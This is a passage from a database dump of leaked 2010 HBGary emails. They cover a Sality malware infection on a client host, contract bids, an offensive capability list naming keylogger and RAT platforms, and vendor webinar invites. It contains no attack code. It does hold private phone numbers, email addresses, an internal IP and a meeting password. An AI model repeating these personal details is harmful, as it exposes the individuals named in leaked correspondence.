\r\n\r\nMatt,\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nThis is a graphic of the Active\r\nDefense Console.  You can see PWBACK9 – the verison of active defense\r\nagent – IP Address – Status – dates – Last High Score –  Location of\r\nMachine inside of the network tree in Active Defense.\r\n\r\n \r\n\r\nWhen you say this machine can\r\nget malware when scoring, what do you mean exactly?  The machine will\r\nstore malware on the file system?\r\n\r\n \r\n\r\nThis machine in question has\r\nSalityWin32 loaded into racsvc.exe and winlogon.exe in memory right now\r\nexecuting.  Sality is started via the registry at boot every time, even if\r\nit is booted into safemode.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nBelow this graphic highlights\r\nthe unencrypted code in memory to highlight the command and control and mutex\r\nfor this malware that is widely documented online if you do a search.  \r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\nThis machine has this stuff in\r\nmemory at runtime right now.\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Anglin, Matthew\r\n[mailto:Matthew.Anglin@QinetiQ-NA.com] \r\nSent: Thursday, August 05, 2010 9:51 AM\r\nTo: rich@hbgary.com\r\nSubject: Re: Please call me when you have a second.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRich,\r\nPlease confirm the following information is accurate (name of system, the IP\r\naddress of the system, and it has the malware in question).\r\nCyveillance own docs conflict in addressing as you saw with windows list.\r\n\r\n4. PWBACK9 10.20.1.200 \r\n(Backend Production box) (can get malware when scoring)\r\n\r\nThis email was sent by blackberry. Please excuse any errors. \r\n\r\nMatt Anglin \r\nInformation Security Principal \r\nOffice of the CSO \r\nQinetiQ North America \r\n7918 Jones Branch Drive \r\nMcLean, VA 22102 \r\n703-967-2862 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n&lt;rich@hbgary.com&gt; \r\nTo: Anglin, Matthew \r\nSent: Thu Aug 05 09:26:10 2010\r\nSubject: Please call me when you have a second. \r\n\r\nI have an idea to bounce of you.\r\n\r\n \r\n\r\nThanks,\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14323,'aaron_hbgary_com/14323.html'),(9777,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007687.M953649P14101Q4632.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Please call me when you have a second.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt Anglin’s contact\r\ninformation below.\r\n\r\n \r\n\r\nMatt is interested in talking\r\nwith you face to face today.  He is in the Mclean office so hopefully you guys\r\ncan meet up.   He has a hard stop at 5PM today.  Give me a call and I’ll fill\r\nyou in on our talk this morning.\r\n\r\n \r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Anglin, Matthew\r\n[mailto:Matthew.Anglin@QinetiQ-NA.com] \r\nSent: Thursday, August 05, 2010 9:51 AM\r\nTo: rich@hbgary.com\r\nSubject: Re: Please call me when you have a second.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRich,\r\nPlease confirm the following information is accurate (name of system, the IP\r\naddress of the system, and it has the malware in question).\r\nCyveillance own docs conflict in addressing as you saw with windows list.\r\n\r\n4. PWBACK9 10.20.1.200 \r\n(Backend Production box) (can get malware when scoring)\r\n\r\nThis email was sent by blackberry. Please excuse any errors. \r\n\r\nMatt Anglin \r\nInformation Security Principal \r\nOffice of the CSO \r\nQinetiQ North America \r\n7918 Jones Branch Drive \r\nMcLean, VA 22102 \r\n703-967-2862 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n&lt;rich@hbgary.com&gt; \r\nTo: Anglin, Matthew \r\nSent: Thu Aug 05 09:26:10 2010\r\nSubject: Please call me when you have a second. \r\n\r\nI have an idea to bounce of you.\r\n\r\n \r\n\r\nThanks,\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5756,'aaron_hbgary_com/5756.html'),(9778,'2010-08-05','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007688.M151839P14101Q4633.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Malware lists','Thanks Aaron.\r\nSunday and Monday were pretty tough. I moved my daughter and myself back on Sunday then went shopping on Monday for baby stuff.   There was a lot of stuff to get organized.  I had Josh Monday and last night.  By Sunday, I\'ll have the house together.  His room looks pretty good right now.\r\n\r\nOn UNO, how many guys do you have in NoVa that you could get?  If you use guys from Springs, how would we make use of them on a classified proposal where you need to identify the facility(s) to be used.  There are still two more that we know of out there.\r\n\r\nIs there any room for us on ITSSS?  Could any work be done here?  \r\n\r\nWow, three already.  What have the discussions been regarding HBGary Federal?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 11:14 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Malware lists\r\n\r\nMan Brian.  I am sorry to hear that.\r\n\r\nTSA ITSSS (small business set aside).  RFP hit and proposal due in 30days.  Full services security contract.  I was brought on by DigitalManagement, which is where Bill Luti went.  I think we have a very good team and will have a good story.  It caught everyone off guard as RFP dropped 30 days early but doubled in size to $190M for 5 years.  If we win its a good chunk of money for us and doing SOC, Forensics, IR, and Threat Intel.\r\n\r\nNot sure on COIN.  Going to go see John and Marybeth on Monday.\r\n\r\nI don\'t think NGIS knows.  You can tell them if you want.  Its getting serious and already 3 companies in discussions so they would have to act fast, good luck with that.  I am talking with InQtel independent of this.\r\n\r\nLet me know if you need anything on UNO.\r\n\r\nWorking on other stuff.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 5, 2010, at 11:07 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> Hey,\r\n> Sorry.  I owe you an email from last week still.  My fiancée and I split on Saturday night so I took two days off to put my house together for the baby.  Got most of the house put back together after not being there for 6 months and now have a baby room.  \r\n> \r\n> Yes on the malware list.  We bid on 3 of them.  Looks like we won one(I worked on it :)) and the other two, it appears that we are top two pending answers to questions.  So, pretty good, I think.   \r\n> \r\n> Can you say what you are doing with TSA?\r\n> Also, anything up with COIN?\r\n> \r\n> We have a PIEA slowly getting to ManTech.  Trying to team with Bryson Bort on the next UNO RFP.\r\n> \r\n> Are you looking at InQTel for funding if HBGary is sold and you spin-off?  Does NGIS know?  Should I get to someone?\r\n> How quickly do you think Greg wants to sell?\r\n> \r\n> Other stuff:\r\n> TMC to run against CMU malware\r\n> Greg\'s new concept - we take jointly to UNO.\r\n> The memory object from responder\r\n> Ideas for HBSS\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 10:54 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:Malware lists\r\n> \r\n> You still wanted this right?  How is the UNO stuff coming.  I have a big TSA proposal I am working this month that is going to suck up most of my time.\r\n> \r\n> 12Monkeys\r\n> Flash\r\n> HBGary RK Keylogger Platform\r\n> Solaris 10\r\n> VMWare ESX\r\n> Win2K3 RPC\r\n> Win2K3 Terminal Services RAT\r\n> Windows 2000\r\n> \r\n> What else can we work on?  I am meeting with InQtel on Monday to talk about Threat Intelligence and Social media.  Working with Mantech on a bunch of stuff (I like those guys) I think it would be good for both of you guys to work more together.  My thoughts.\r\n> \r\n> HBGary is on the hunt to be acquired.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3361,'aaron_hbgary_com/3361.html'),(9779,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007688.M346646P14101Q4634.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Greg\'s demo','I&#39;m going to need to tell Agilex that we cannot do the PT the week of G-first.---------- Forwarded message ----------From: Bob Slapnik &lt;bob@hbgary.com&gt;\r\nDate: Thu, Aug 5, 2010 at 9:40 AMSubject: Greg&#39;s demoTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nJust to verify, is it OK for me to schedule you and me for\r\nAF at Lackland the afternoon of Monday, Aug 16?\r\n\r\n \r\n\r\nHere is Greg’s demo\r\n\r\nhttps://hbgary.webex.com/hbgary/ldr.php?AT=pb&amp;SP=MC&amp;rID=41053832&amp;rKey=572168403b5498be\r\n\r\n\r\n \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',8489,'aaron_hbgary_com/8489.html'),(9780,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007688.M601907P14101Q4635.eml','\"Aaron Barr\" <aaron@hbgary.com>,Jerry.McClure@agilex.com,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL Delay','The week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th.TedOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity.\r\nAaronOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\nAaron,\r\n \r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n \r\nJerry\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',7484,'aaron_hbgary_com/7484.html'),(9781,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007688.M815805P14101Q4636.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Please call me when you have a second.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou did send me the latest spreadsheet - I had already had the\r\nolder one open and so that’s why I didn’t see what you were talking about.. now\r\nI’m straight and looking at the data in the second tab… this is great shit man!\r\n;)  I’m doing scan now of the 30 or so IP’s and will add some of these IP’s in\r\na bit.  First I’ll search across the physmem, then I’ll do LiveOS, then I’ll\r\nsearch the hard disks.  If they are there then we’ll find them.\r\n\r\n \r\n\r\nTtys,\r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 10:35 AM\r\nTo: Rich Cummings\r\nSubject: Re: Please call me when you have a second.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',7758,'aaron_hbgary_com/7758.html'),(9782,'2010-08-05','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007689.M29645P14101Q4637.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re:','Jeff,\r\n\r\nBob would like to meet with me early. Can we slip our meeting to later this afternoon.  Sorry for the inconvenience.  You can blame Bob.\r\n\r\nLet me know I could swing over to the other bldg.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 31, 2010, at 12:14 AM, \"Frisbie, Robert P\"  wrote:\r\n\r\n> \r\n',2334,'aaron_hbgary_com/2334.html'),(9783,'2010-08-05','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297007689.M410130P14101Q4638.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Technical Discussions @ Thu Aug 5 1:30pm - 2:30pm 	(aaron@hbgary.com)',' more details &raquo;Technical DiscussionsWhenThu Aug 5 1:30pm – 2:30pm Eastern TimeWhere7th Floor; Mantech (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;jeffrey.guy@mantech.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16301,'aaron_hbgary_com/16301.html'),(9784,'2010-08-05','\"Joshua Hritz\" <joshua@splunk.com>','/aaron@hbgary.com/new/1297007689.M623918P14101Q4639.eml','aaron@hbgary.com','RE: Systems Integrator Bootcamp','Hello,\r\n\r\nWe would liket to invite you to an upcoming webinar on August 12th.  Please see the information below for more information and feel free to contact me with any questions.\r\n\r\n\r\n*************************\r\nSplunk - The IT Search Company \r\n\r\nCan you imagine using the Internet without a search engine?  Your datacenter is just as chaotic. Splunk lets you search your IT infrastructure. \r\n\r\nHow can you find the valuable information you are looking for buried in all the logs and IT data your infrastructure spits out everyday? We’re innovating large-scale, high-speed indexing and search technology for IT infrastructures.  Splunk indexes and makes it possible to search and navigate data from any application, server or network device in real time. Logs, configurations, messages, traps and alerts, scripts and metrics. If a machine can generate it - Splunk can eat it. \r\n\r\nIT Search takes advantage of the time series nature and highly unstructured form of IT data. By making it possible for humans to interact with terabytes of machine data, Splunk is fundamentally changing how we manage, secure and understand increasingly complex computing environments.  Arm your network engineers, system administrators, security and compliance analysts, developers, customer support and help desk staff with an up-to-the- moment understanding of what’s happening in your IT infrastructure.  Splunk is easy to download, install and use - and it\'s very powerful.  Splunk is installed in many Federal operations helping them achieve real “situational awareness”, indexing 100s of Gigabytes per day and used for availability, security and various federal compliance mandates (NISPOM,DCID, FISMA,SOX,HIPPA, PCI, etc.). \r\n\r\nSplunk Federal Systems Integrator\r\nVirtual Boot Camp\r\nAugust 12th, 2010\r\n\r\n\r\nWHEN: August 12th, 01:30PM-02:30PM EDT (10:30AM-11:30AM PDT)\r\n\r\nHOW TO ATTEND: The event is free. Just reply to this email with the names of those who will attend and follow webex/phone instructions below.\r\n\r\nEVENT DESCRIPTION:\r\nWe would like to cordially invite you to our virtual “Boot Camp” event designed specifically for you, Federal System’s Integrators.  This event will provide you and your team an in-depth technical session on SPLUNK with Dan Goldburt, Splunk’s Solutions Specialist.\r\n\r\nAgenda: (Times are Eastern Daylight Time)\r\n\r\n\r\nIntroduction to Splunk IT Search Overview- How to manage and secure Big IT Data with Splunk\r\nFederal Agency Use Case in Situational Awareness. Dan will discuss his experiences with creating a “Situational Awareness” environment using Splunk as we well as other best practices for using Splunk.\r\nSplunk 4.1 Demonstration. Splunk basics. Dan will cover the broad topics of how data is ingested into Splunk, basic searching abilities, and ad-hoc reporting and alerting.\r\nSplunk 4.1 Architectural Discussion Basic architectural considerations for deploying Splunk in Enterprise architectures.\r\nWrap Up and Q&A  \r\n\r\nWHERE: WEBEX INFO AND PHONE #\r\n1. Go to https://splunk.webex.com/splunk-fr/j.php?ED=142349582&UID=0&PW=NZDgzM2QzMDAw&RT=MiMxMQ%3D%3D \r\n 2. Enter your name and email address. \r\n 3. Enter the meeting password: solutions \r\n 4. Click \"Join Now\". \r\n ------------------------------------------------------- \r\n To join the teleconference\r\n ------------------------------------------------------- \r\n Call-in toll-free number: 1-866 586 1717  (US/Canada) \r\n Conference Code: 610 476 9786 \r\n\r\nSpeaker Biography:\r\n\r\nDan Goldburt:\r\n\r\nDan is Splunk’s Solutions Specialist, Federal Business Development. Dan is working with customers and partners to unlock instant value from Splunk for recurring use-cases, such as FISMA compliance and SIEM integration. Dan is comfortable designing multiple TB/day architectures; and is Splunk’s expert in integrating Splunk with Bluecoat, BigFix, Arcsight, and other IT tools and is fluent Splunk’s search language. Dan joined Splunk in 2007. Prior, Dan was an early adopter of Splunk while he was at Dow Jones & Co. He used Splunk 2.x to troubleshoot and monitor the systems that calculate the Dow Jones market indexes. Outside of work, Dan is a hockey fan, road-biker, and scotch whisky enthusiast.\r\n \r\nOn behalf of the Splunk Federal team, it is an honor and pleasure to serve you. \r\n\r\nWhat Splunk customers are saying:\r\n \r\n\"Splunk 4.1 definitely confirms that Splunk was the best choice for us. It’s leaps and bounds ahead of other tools or traditional processes for monitoring our infrastructure.\"  - Synthetic System Specialist, Largest Federal Systems Integrator\r\n\"As an indexing solution, Splunk is faster, provides a more comprehensive view and is more efficient than other SIEMs or log management tools. IT lets us look for more advanced security risks that traditional tools may not find.\"  - Computer & Network Security Consultant, Largest Federal Systems Integrator\r\n\"Splunk saves my team somewhere between 7 and 21 days of work per month.” - LeRoy Isaac, Senior Network Engineer, Visa\r\n\"Splunk reduced our escalations by 90% and our problem resolution time by 67%.\" - Paulo Carvalho, Network Services Support Manager, Vodafone Portugal\r\n\r\nTo attend this free event, please reply to this email with the names of attendees. \r\n\r\nThank you !\r\n\r\n\r\n\r\nJoshua Hritz\r\nBusiness Development Manager\r\nO: 202.629.1754 | C: 650.255.4117 \r\nSplunk >Federal IT Search. ROI Found.\r\nwww.splunk.com/goto/federal\r\n\r\nJoshua Hritz\r\nBusiness Development Manager\r\nO: 202.629.1754 | C: 650.255.4117 \r\nSplunk >Federal  IT Search. ROI Found.\r\nwww.splunk.com/goto/federal\r\n\r\nPlease join us August 9th-11th in San Francisco at Splunk\'s first World-Wide Users\'s Conference\r\nhttp://www.splunk.com/goto/conference\r\n',9443,'aaron_hbgary_com/9443.html'),(9785,'2010-08-05','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','/aaron@hbgary.com/new/1297007689.M819143P14101Q4640.eml','\"Aaron barr\" <aaron@hbgary.com>','RE:','Sure; free-ish until 4:30p.  I\'ve got to run an errand and coord around\r\nthe 7th floor, call my cell when you\'re done.\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 1:07 PM\r\nTo: Frisbie, Robert P\r\nCc: Guy, Jeffrey J\r\nSubject: Re: \r\n\r\nJeff,\r\n\r\nBob would like to meet with me early. Can we slip our meeting to later\r\nthis afternoon.  Sorry for the inconvenience.  You can blame Bob.\r\n\r\nLet me know I could swing over to the other bldg.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 31, 2010, at 12:14 AM, \"Frisbie, Robert P\"\r\n wrote:\r\n\r\n> \r\n',16519,'aaron_hbgary_com/16519.html'),(9786,'2010-08-05','\"Anglin, Matthew\" <Matthew.Anglin@QinetiQ-NA.com>','/aaron@hbgary.com/new/1297007694.M576971P14101Q4641.eml','aaron@hbgary.com','dates and times','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMatthew Anglin\r\n\r\nInformation Security Principal, Office of the CSO\r\n\r\nQinetiQ North America\r\n\r\n7918 Jones Branch Drive Suite 350\r\n\r\nMclean, VA 22102\r\n\r\n703-752-9569 office, 703-967-2862 cell\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15371,'aaron_hbgary_com/15371.html'),(9787,'2010-08-05','\"Lee, Tamika D\" <tdlee6@nsa.gov>','/aaron@hbgary.com/new/1297007694.M903286P14101Q4642.eml','aaron@hbgary.com,aaron@hbgary.com,,','Feedback from REBL Symposium 2010','\r\n\r\n\r\n\r\n\r\n\r\nGreetings, \r\n&nbsp;\r\n\r\nThanks to \r\nyou,&nbsp;this year\'s REBL \r\nSymposium&nbsp;was a&nbsp;great success!&nbsp; We are greatly appreciative for \r\nyour&nbsp;participation and&nbsp;knowledge on subjects that are crucial to the \r\ndevelopment of our&nbsp;community.&nbsp; \r\n\r\n&nbsp;\r\nAttached you will find the feedback form to your briefing during this \r\nyear\'s REBL.&nbsp; Feedback only represents a \r\nsmall number of participants, since&nbsp;it was not required.&nbsp; Also, \r\nplease keep in mind when reviewing the feedback form that&nbsp;its purpose is&nbsp;to obtain information and \r\nsuggestions&nbsp;&nbsp;that will be of \r\nvalue to you in planning, developing, and \r\nbriefing future&nbsp;material.&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nIf you \r\nhave any questions, please feel free to contact me.\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nTamika \r\nLee\r\nReBl Staff\r\n***\r\n&nbsp;\r\n&nbsp;\r\n\r\nTamika \r\nLee\r\n1742 Red/Blue OPS \r\nPlanning\r\n410.854.2276\r\n&nbsp;\r\n&nbsp;\r\n',13221,'aaron_hbgary_com/13221.html'),(9788,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007695.M177294P14101Q4643.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Systems Integrator Bootcamp','FYI -- free splunk webinar ---------- Forwarded message ----------From: Joshua Hritz &lt;joshua@splunk.com&gt;\r\nDate: Thu, Aug 5, 2010 at 11:37 AMSubject: RE: Systems Integrator BootcampTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Hello,\r\n\r\n\r\nWe would liket to invite you to an upcoming webinar on August 12th.  Please see the information below for more information and feel free to contact me with any questions.\r\n\r\n\r\n*************************\r\nSplunk - The IT Search Company\r\n\r\nCan you imagine using the Internet without a search engine?  Your datacenter is just as chaotic. Splunk lets you search your IT infrastructure.\r\n\r\nHow can you find the valuable information you are looking for buried in all the logs and IT data your infrastructure spits out everyday? We’re innovating large-scale, high-speed indexing and search technology for IT infrastructures.  Splunk indexes and makes it possible to search and navigate data from any application, server or network device in real time. Logs, configurations, messages, traps and alerts, scripts and metrics. If a machine can generate it - Splunk can eat it.\r\n\r\n\r\nIT Search takes advantage of the time series nature and highly unstructured form of IT data. By making it possible for humans to interact with terabytes of machine data, Splunk is fundamentally changing how we manage, secure and understand increasingly complex computing environments.  Arm your network engineers, system administrators, security and compliance analysts, developers, customer support and help desk staff with an up-to-the- moment understanding of what’s happening in your IT infrastructure.  Splunk is easy to download, install and use - and it&#39;s very powerful.  Splunk is installed in many Federal operations helping them achieve real “situational awareness”, indexing 100s of Gigabytes per day and used for availability, security and various federal compliance mandates (NISPOM,DCID, FISMA,SOX,HIPPA, PCI, etc.).\r\n\r\n\r\nSplunk Federal Systems Integrator\r\nVirtual Boot Camp\r\nAugust 12th, 2010\r\n\r\n\r\nWHEN: August 12th, 01:30PM-02:30PM EDT (10:30AM-11:30AM PDT)\r\n\r\nHOW TO ATTEND: The event is free. Just reply to this email with the names of those who will attend and follow webex/phone instructions below.\r\n\r\nEVENT DESCRIPTION:\r\nWe would like to cordially invite you to our virtual “Boot Camp” event designed specifically for you, Federal System’s Integrators.  This event will provide you and your team an in-depth technical session on SPLUNK with Dan Goldburt, Splunk’s Solutions Specialist.\r\n\r\n\r\nAgenda: (Times are Eastern Daylight Time)\r\n\r\n\r\nIntroduction to Splunk IT Search Overview- How to manage and secure Big IT Data with Splunk\r\nFederal Agency Use Case in Situational Awareness. Dan will discuss his experiences with creating a “Situational Awareness” environment using Splunk as we well as other best practices for using Splunk.\r\nSplunk 4.1 Demonstration. Splunk basics. Dan will cover the broad topics of how data is ingested into Splunk, basic searching abilities, and ad-hoc reporting and alerting.\r\nSplunk 4.1 Architectural Discussion Basic architectural considerations for deploying Splunk in Enterprise architectures.\r\nWrap Up and Q&amp;A\r\n\r\nWHERE: WEBEX INFO AND PHONE #\r\n1. Go to https://splunk.webex.com/splunk-fr/j.php?ED=142349582&amp;UID=0&amp;PW=NZDgzM2QzMDAw&amp;RT=MiMxMQ%3D%3D\r\n\r\n 2. Enter your name and email address.\r\n 3. Enter the meeting password: solutions\r\n 4. Click &quot;Join Now&quot;.\r\n -------------------------------------------------------\r\n To join the teleconference\r\n -------------------------------------------------------\r\n Call-in toll-free number: 1-866 586 1717  (US/Canada)\r\n Conference Code: 610 476 9786\r\n\r\nSpeaker Biography:\r\n\r\nDan Goldburt:\r\n\r\nDan is Splunk’s Solutions Specialist, Federal Business Development. Dan is working with customers and partners to unlock instant value from Splunk for recurring use-cases, such as FISMA compliance and SIEM integration. Dan is comfortable designing multiple TB/day architectures; and is Splunk’s expert in integrating Splunk with Bluecoat, BigFix, Arcsight, and other IT tools and is fluent Splunk’s search language. Dan joined Splunk in 2007. Prior, Dan was an early adopter of Splunk while he was at Dow Jones &amp; Co. He used Splunk 2.x to troubleshoot and monitor the systems that calculate the Dow Jones market indexes. Outside of work, Dan is a hockey fan, road-biker, and scotch whisky enthusiast.\r\n\r\n\r\nOn behalf of the Splunk Federal team, it is an honor and pleasure to serve you.\r\n\r\nWhat Splunk customers are saying:\r\n\r\n&quot;Splunk 4.1 definitely confirms that Splunk was the best choice for us. It’s leaps and bounds ahead of other tools or traditional processes for monitoring our infrastructure.&quot;  - Synthetic System Specialist, Largest Federal Systems Integrator\r\n\r\n&quot;As an indexing solution, Splunk is faster, provides a more comprehensive view and is more efficient than other SIEMs or log management tools. IT lets us look for more advanced security risks that traditional tools may not find.&quot;  - Computer &amp; Network Security Consultant, Largest Federal Systems Integrator\r\n\r\n&quot;Splunk saves my team somewhere between 7 and 21 days of work per month.” - LeRoy Isaac, Senior Network Engineer, Visa\r\n&quot;Splunk reduced our escalations by 90% and our problem resolution time by 67%.&quot; - Paulo Carvalho, Network Services Support Manager, Vodafone Portugal\r\n\r\nTo attend this free event, please reply to this email with the names of attendees.\r\n\r\nThank you !\r\n\r\n\r\n\r\nJoshua Hritz\r\nBusiness Development Manager\r\nO: 202.629.1754 | C: 650.255.4117\r\nSplunk &gt;Federal IT Search. ROI Found.\r\nwww.splunk.com/goto/federal\r\n\r\nJoshua Hritz\r\nBusiness Development Manager\r\nO: 202.629.1754 | C: 650.255.4117\r\nSplunk &gt;Federal  IT Search. ROI Found.\r\nwww.splunk.com/goto/federal\r\n\r\nPlease join us August 9th-11th in San Francisco at Splunk&#39;s first World-Wide Users&#39;s Conference\r\nhttp://www.splunk.com/goto/conference\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',10232,'aaron_hbgary_com/10232.html'),(9789,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007698.M352813P14101Q4644.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Social Media','---------- Forwarded message ----------From: O&#39;Neill, Michael -Systems &lt;Michael.ONeill2@itt.com&gt;\r\nDate: Thu, Aug 5, 2010 at 1:55 PMSubject: RE: Social MediaTo: Ted Vera &lt;ted@hbgary.com&gt;Ted, thought you might be interested in attached Cyber paper--it is hot off the press.\r\n\r\n\r\nMike\r\n\r\nMichael O&#39;Neill, Ph.D., CISSP, CISM\r\nManager, Information Assurance\r\nITT Systems Corporation\r\noffice-719-637-4217\r\ncell-719-331-7910\r\ne-mail-michael.oneill2@itt.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, July 27, 2010 9:41 AM\r\nTo: O&#39;Neill, Michael -Systems\r\nSubject: Social Media\r\n\r\nHi Mike,\r\n\r\nAttached is our latest whitepaper, dealing with Social Media.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\nThis e-mail and any files transmitted with it may be proprietary and are intended solely for the use of the individual or entity to whom they are addressed. If you have received this e-mail in error please notify the sender.\r\n\r\nPlease note that any views or opinions presented in this e-mail are solely those of the author and do not necessarily represent those of ITT Corporation. The recipient should check this e-mail and any attachments for the presence of viruses. ITT accepts no liability for any damage caused by any virus transmitted by this e-mail.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',15316,'aaron_hbgary_com/15316.html'),(9790,'2010-08-05','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007698.M629386P14101Q4645.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','services talk for customer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 